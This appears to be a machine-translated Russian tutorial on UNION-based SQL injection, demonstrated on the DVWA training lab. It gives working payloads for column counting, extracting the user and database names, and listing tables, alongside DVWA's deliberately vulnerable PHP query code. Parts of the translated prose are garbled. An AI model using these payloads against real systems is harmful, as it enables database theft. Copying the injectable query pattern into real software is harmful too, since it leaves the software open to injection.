Внедрение объединенного соединения в серии SQL-инъекций
Внедрение объединенного соединения в серии SQL-инъекций

1: Концепция объединения профсоюзов

Мы знаем, что общий формат запроса на объединение в инструкции SQL выглядит следующим образом:

select 1,2,3 from table_name1 union select 4,5,6 from table_name2;

В процессе внедрения мы называем объединение select 4,5,6 из части table_name2 частью объединения объединения. Его основная функция заключается в объединении объединения с предыдущим оператором SQL и построении его номера столбца и столбца предыдущего оператора SQL. числа одинаковые, например, 1,2,3==4,5,6 — это все 3 столбца. Мы называем этот метод инъекции объединением инъекций.

2: Процесс использования впрыска соединения

Здесь я использую для демонстрации часть SQL-инъекций целевой среды DVWA. Введите 1, чтобы отправить обычный запрос и получить возвращаемое значение.

1. Определите тип точки впрыска.

В этой статье мы сосредоточимся на построении части инъекции объединения, и здесь будет кратко обсуждено определение типа точки инъекции. Вводить последовательно 3-2;1 and 1=1; 1” and “1”=”1;1’ and ‘1’=’1; Глядя на эхо-страницу, мы видим, что в этой точке ввода имеется вставка символа одинарной кавычки. может быть основано на 1’ and ‘1’=’1;1’ and ‘1’=’2 Оценка результатов ввода

1' and '1'='1

1' and '1'='2

2. Определите количество столбцов в фоновом SQL.

В концептуальной части мы знаем, что одним из ключевых моментов внедрения объединения является определение количества столбцов в исходном SQL. Здесь мы можем передать порядок. by n # судить. н Указывает количество столбцов, # указывает на комментарии, используемые для порядка точек комментариев. by nзадняя частьSQL。Вводить последовательно1’ order by 5#;1’ order by 3#;1’ order by 2#

1' order by 5#

1' order by 2#

При заказе 1' на 5#, поскольку количество столбцов в исходном SQL меньше 5, выдается сообщение об ошибке. После непрерывного уменьшения значения n ошибка не выдается до тех пор, пока n не станет равным 2. В это время это возможно. можно предположить, что количество столбцов в исходном SQL равно 2.

3. Обнаружение инъекции соединения

Сначала сконструируйте входные данные так, чтобы их можно было корректно вставить в фоновый исходный SQL. входить 1’ union select 1,2 #

1' union select 1,2 #

1’ Частичное представление объединяется с одинарными кавычками исходного SQL в полные символы. union Частичное представление сращено с исходным оператором SQL. select 1,2 Частично это связано с тем, что злоумышленник, внедряющий SQL-код, может контролировать записанный SQL-код, который должен храниться только с двумя столбцами. # Частично закомментируйте вторую половину исходного SQL. После успешного выполнения мы можем выбрать Преобразуйте части 1 и 2, например выберите пользователь(), база данных(). То есть введите в точку ввода 1’ union select user(),database()#。Получить имя пользователя и имя базы данных

1' union select user(),database()#

Далее мы можем попытаться получить все имена таблиц.,Список,Данные в таблице и т.д.。Возьмем, к примеру, получение имени таблицы.,Введите в точке ввода1’ union select group_concat(table_name),database() from information_schema.tables where table_schema = database() #

1' union select group_concat(table_name),database() from information_schema.tables where table_schema = database() #

С помощью этого оператора мы получаем все имена таблиц под текущим именем базы данных dvwa, включая две таблицы пользователей гостевой книги; Если SQL соответствующим образом изменен, данные таблицы можно получить

Третье: Backend SQL и сплайсированный прототип

Из фона dvwa видно, что фоновый оператор для обработки запроса выглядит следующим образом:

12345678910111213141516171819202122232425262728

<?phpif( isset( $_REQUEST[ 'Submit' ] ) ) {    // Get input    $id = $_REQUEST[ 'id' ];    // Check database    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );    // Get results    $num = mysql_numrows( $result );    $i   = 0;    while( $i < $num ) {        // Get values        $first = mysql_result( $result, $i, "first_name" );        $last  = mysql_result( $result, $i, "last_name" );        // Feedback for end user        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";        // Increase loop count        $i++;    }    mysql_close();}?>

Фоновый SQL: «SELECT first_name, Last_name FROM user WHERE user_id = '$id';». Пользовательский ввод $id напрямую вставляется в исходный SQL, поэтому полный SQL, когда созданная нами часть, вводится в базу данных. и выполняется следующим образом

1234567891011121314151617181920

1' and '1'='1SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='1';1' and '1'='2SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='2';1' order by 5#SELECT first_name, last_name FROM users WHERE user_id = '1' order by 5#';1' order by 2#SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2#';1' union select 1,2 #SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2 #';1' union select user(),database()#SELECT first_name, last_name FROM users WHERE user_id = '1' union select user(),database()#';1' union select group_concat(table_name),database() from information_schema.tables where table_schema = database() #SELECT first_name, last_name FROM users WHERE user_id = '1' union select group_concat(table_name),database() from information_schema.tables where table_schema = database() #';

Четвертое: Резюме

Атака с помощью инъекции объединения использует соединение объединение или объединение всех для объединения вашего собственного SQL с исходным SQL, тем самым достигая эффекта выполнения произвольных операторов SQL.

boy illustration
Учебное пособие по Jetpack Compose для начинающих, базовые элементы управления и макет
boy illustration
Код js веб-страницы, фон частицы, код спецэффектов
boy illustration
【новый! Суперподробное】Полное руководство по свойствам компонентов Figma.
boy illustration
🎉Обязательно к прочтению новичкам: полное руководство по написанию мини-программ WeChat с использованием программного обеспечения Cursor.
boy illustration
[Забавный проект Docker] VoceChat — еще одно приложение для мгновенного чата (IM)! Может быть встроен в любую веб-страницу!
boy illustration
Как реализовать переход по странице в HTML (html переходит на указанную страницу)
boy illustration
Как решить проблему зависания и низкой скорости при установке зависимостей с помощью npm. Существуют ли доступные источники npm, которые могут решить эту проблему?
boy illustration
Серия From Zero to Fun: Uni-App WeChat Payment Practice WeChat авторизует вход в систему и украшает страницу заказа, создает интерфейс заказа и инициирует запрос заказа
boy illustration
Серия uni-app: uni.navigateЧтобы передать скачок значения
boy illustration
Апплет WeChat настраивает верхнюю панель навигации и адаптируется к различным моделям.
boy illustration
JS-время конвертации
boy illustration
Обеспечьте бесперебойную работу ChromeDriver 125: советы по решению проблемы chromedriver.exe не найдены
boy illustration
Поле комментария, щелчок мышью, специальные эффекты, js-код
boy illustration
Объект массива перемещения объекта JS
boy illustration
Как открыть разрешение на позиционирование апплета WeChat_Как использовать WeChat для определения местонахождения друзей
boy illustration
Я даю вам два набора из 18 простых в использовании фонов холста Power BI, так что вам больше не придется возиться с цветами!
boy illustration
Получить текущее время в js_Как динамически отображать дату и время в js
boy illustration
Вам необходимо изучить сочетания клавиш vsCode для форматирования и организации кода, чтобы вам больше не приходилось настраивать формат вручную.
boy illustration
У ChatGPT большое обновление. Всего за 45 минут пресс-конференция показывает, что OpenAI сделал еще один шаг вперед.
boy illustration
Copilot облачной разработки — упрощение разработки
boy illustration
Микросборка xChatGPT с низким кодом, создание апплета чат-бота с искусственным интеллектом за пять шагов
boy illustration
CUDA Out of Memory: идеальное решение проблемы нехватки памяти CUDA
boy illustration
Анализ кластеризации отдельных ячеек, который должен освоить каждый&MarkerгенетическийВизуализация
boy illustration
vLLM: мощный инструмент для ускорения вывода ИИ
boy illustration
CodeGeeX: мощный инструмент генерации кода искусственного интеллекта, который можно использовать бесплатно в дополнение к второму пилоту.
boy illustration
Машинное обучение Реальный бой LightGBM + настройка параметров случайного поиска: точность 96,67%
boy illustration
Бесшовная интеграция, мгновенный интеллект [1]: платформа больших моделей Dify-LLM, интеграция без кодирования и встраивание в сторонние системы, более 42 тысяч звезд, чтобы стать свидетелями эксклюзивных интеллектуальных решений.
boy illustration
LM Studio для создания локальных больших моделей
boy illustration
Как определить количество слоев и нейронов скрытых слоев нейронной сети?
boy illustration
[Отслеживание целей] Подробное объяснение ByteTrack и детали кода